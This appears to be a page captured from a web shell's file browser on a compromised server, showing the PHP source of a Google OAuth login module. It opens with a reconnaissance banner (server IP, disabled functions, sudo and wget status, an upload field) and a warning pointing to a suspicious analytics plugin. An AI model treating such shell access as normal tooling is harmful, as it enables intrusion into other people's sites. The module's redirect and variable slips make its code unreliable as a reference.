Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/theyoungdesigners_com/modules/loginGoogle/ |
Upload File : |
<?php
namespace modules\loginGoogle;
use League\OAuth2\Client\Provider\Google;
class main extends \moduleMain {
use \modules\input\traits {
\modules\input\traits::__construct as __ConstructInput;
}
use \modules\database\traits {
\modules\database\traits::__construct as __ConstructDatabase;
}
use \modules\output\traits {
\modules\output\traits::__construct as __ConstructOutput;
}
private $css;
public function __construct() {
parent::__construct(__DIR__);
$this->__ConstructInput();
$this->__ConstructDatabase();
$this->__ConstructOutput();
}
public function Activate() {
// install hooks
hook_add('auth.google.button', [$this, '__generate_button']);
hook_add('auth.*.login', [$this, '__info']);
hook_add('auth.*.css', [$this, '__css']);
hook_add('auth.google.login', [$this, '__login_info']); // information for login button / link / generate auth field for user level to be used
// add include items to template
$this->css = $this->StaticUriModule(__DIR__) . '/google.css';
hook_add('html.prepare', [$this, '__html_prepare']);
}
public function __css(&$results) {
$results[] = $this->css;
}
public function __generate_button() {
$html = hook_execute_late('html.button', '', 'Sign in with Google', 'fab fa-google', 'cc-blue');
}
public final function settings_help() {
$view = $this->__loadView('google_help');
$body = $view->text_info();
return ['body' => $body];
}
// add to google credential Authorized redirect URIs:
// https:// ... /~/logingoogle/authorize
public final function authorize() {
$this->_init();
if (!isset($_SESSION['loginGoogle'])) return; // taken too long
$session = $_SESSION['loginGoogle'];
$uri = $_SESSION['loginGoogle']['bounce'] ?? '/';
if (substr($uri, 0, 6) == '/login') $url = '/';
if (isset($_GET['error'])) {
$sep = strpos($uri, '?') === FALSE ? '?' : '&';
$url .= $sep . 'error=' . rawurlencode($_GET['error']);
$this->Redirect($uri);
}
if (!isset($_GET['code'])) return; // invalid
$token = $this->client->getAccessToken('authorization_code', [
'code' => $_GET['code']
]);
$_SESSION['google_access_token'] = $token;
// get user info
$userinfo = $this->client->getResourceOwner($token); // $userinfo->getFirstName()
$values = $userinfo->toArray();
$email_verified = $values['email_verified']; // public method missing from class
$source_id = $userinfo->getId();
$email = $userinfo->getEmail();
$existing_user = $session['user_id'];
$params = new \StdClass;
$params->user_id = $existing_user;
$params->level = 1;
$params->email = $email;
$params->source = 'google';
$params->source_id = $source_id;
$params->verified = $email_verified;
$params->name = $userinfo->getName();
$params->picture = $userinfo->getAvatar();
$newlevel = $this->settings['newuser'] ?? 0;
if (!empty($session['auth'])) { // A login should be created
$level = hook_execute('nonce.verify', FALSE, 'loglevel', FALSE, $session['auth']); // return $key, if key param is false
if ($level === FALSE) return; // auth data expired, or already used
$params->level = $level;
$user_info = hook_execute('login.create', NULL, $params);
} else { // user must exist in database
$user_info = hook_execute('login.verify', NULL, $params);
}
if ($user_info === NULL && $email_verified) {
if (!$newlevel) { // creation of new users is disabled
return [
'result' => 1593,
'message' => 'new users are not permitted at this time'
];
}
$params->level = $newlevel;
$user_info = hook_execute('login.create', NULL, $params);
}
if ($user_info !== NULL) {
hook_execute('login', 0, $user_info); // log in as user $user_id
}
// Redirect to bounce url - may give permission denied error at that point
if(!is_null($uri)) $this->Redirect($uri);
}
private function _init() {
if (empty($this->client)) {
try {
$uri = 'https://' . $this->hostname() . '/~/logingoogle/authorize';
$this->client = new Google([
'clientId' => $this->settings['clientid'],
'clientSecret' => $this->settings['secret'],
'redirectUri' => $uri,
]);
} catch(Exception $e) {
var_dump($e);
exit;
}
}
}
/*
IN:
$param = [
'bounce' => url to visit once account has been verified (back from google login; or when email address is verified)
'auth' => user level. If present this will allow new account to be created; otherwise log in with existing creds
]
OUT:
$info = [
'link' => link to login page (or create account page)
'button' => caption for link
]
or
$info === FALSE -> incomplete settings, or module not enabled
*/
public function __info(&$results, $param) {
$res = [];
$this->__login_info($res, $param);
$results['google'] = $res;
}
private function _encode($x) {
return str_replace(['+', '/', '='], ['-', '_', '~'], base64_encode($x));
}
private function _decode($x) {
return base64_decode(str_replace(['+', '/', '='], ['-', '_', '~'], $x));
}
private function getAuthUrl($yt) {
$this->_init();
$payload = [
'scope' => [
'email', 'profile'
],
];
if ($yt) {
$payload['scope'][] = 'https://www.googleapis.com/auth/youtube';
// $this->client->setScopes('https://www.googleapis.com/auth/youtube'); // allow this site to access your youtube account
}
$googleAuthUrl = $this->client->getAuthorizationUrl($payload);
return $googleAuthUrl;
}
public function __login_info(&$info, $param) {
if (empty($this->settings['clientid']) || empty($this->settings['secret'])) {
$info = FALSE;
return; // insufficient config options specified.
}
$yt = $param['yt'] ?? 0;
$googleAuthUrl = $this->getAuthUrl($yt);
// save bounce and auth in session
$_SESSION['loginGoogle'] = [
'auth' => empty($param['auth']) ? '' : $param['auth'],
'bounce' => $param['bounce'],
'user_id' => empty($param['user_id']) ? 0 : $param['user_id'],
];
$html = <<<BLOCK
<div style="height:50px;width:240px;" class="abcRioButton abcRioButtonBlue"><div class="abcRioButtonContentWrapper"><div class="abcRioButtonIcon" style="padding:15px"><div style="width:18px;height:18px;" class="abcRioButtonSvgImageWithFallback abcRioButtonIconImage abcRioButtonIconImage18"><svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="18px" height="18px" viewBox="0 0 48 48" class="abcRioButtonSvg"><g><path fill="#EA4335" d="M24 9.5c3.54 0 6.71 1.22 9.21 3.6l6.85-6.85C35.9 2.38 30.47 0 24 0 14.62 0 6.51 5.38 2.56 13.22l7.98 6.19C12.43 13.72 17.74 9.5 24 9.5z"></path><path fill="#4285F4" d="M46.98 24.55c0-1.57-.15-3.09-.38-4.55H24v9.02h12.94c-.58 2.96-2.26 5.48-4.78 7.18l7.73 6c4.51-4.18 7.09-10.36 7.09-17.65z"></path><path fill="#FBBC05" d="M10.53 28.59c-.48-1.45-.76-2.99-.76-4.59s.27-3.14.76-4.59l-7.98-6.19C.92 16.46 0 20.12 0 24c0 3.88.92 7.54 2.56 10.78l7.97-6.19z"></path><path fill="#34A853" d="M24 48c6.48 0 11.93-2.13 15.89-5.81l-7.73-6c-2.15 1.45-4.92 2.3-8.16 2.3-6.26 0-11.57-4.22-13.47-9.91l-7.98 6.19C6.51 42.62 14.62 48 24 48z"></path><path fill="none" d="M0 0h48v48H0z"></path></g></svg></div></div><span style="font-size:16px;line-height:48px;" class="abcRioButtonContents"><span id="not_signed_inakcyjp4f0j9t">Sign in with Google</span><span id="connectedakcyjp4f0j9t" style="display:none">Signed in with Google</span></span></div></div>
BLOCK;
$info = [
'link' => $googleAuthUrl,
'button' => $html,
'css' => $this->css,
'icon' => '<i class="largeicon fab fa-google"></i>',
];
$youtube = $this->settings['youtube'] ?? false;
if ($youtube) {
$info['footer'] = '<div style="margin-top:10px"><label title="allow this site to access your youtube account - only needed when uploading videos or playlists"><input type="checkbox" value="1" onChange="return ytClick(this);"> Allow YouTube access</label></div>';
}
}
public function __html_prepare($modulemain) {
$base = $modulemain->StaticUriModule(__DIR__);
$id = $modulemain->IncludeFile('');
$javascript = <<<'BLOCK'
function ytClick(element) {
let $this = $(element);
$.ajax({
dataType: 'json',
async: true,
url: '/~/loginGoogle/yt-toggle',
data: {
yt: $this.is(':checked') ? 1 : 0,
},
type: 'GET'
}).done(function(data) {
if (data && data.link) {
let $a = $this.closest('li').find('a');
$a.attr('href', data.link);
}
});
}
BLOCK;
$id->JavascriptCommand($javascript, FALSE)->depends('jquery');
}
final function yt_toggle() {
$yt = (int) ( $_GET['yt'] ?? 0);
$yt = $this->settings['youtube'] ?? FALSE;
$googleAuthUrl = $this->getAuthUrl($yt);
$json = [
'link' => $googleAuthUrl,
];
header('Content-type: application/json');
die(json_encode($json));
}
}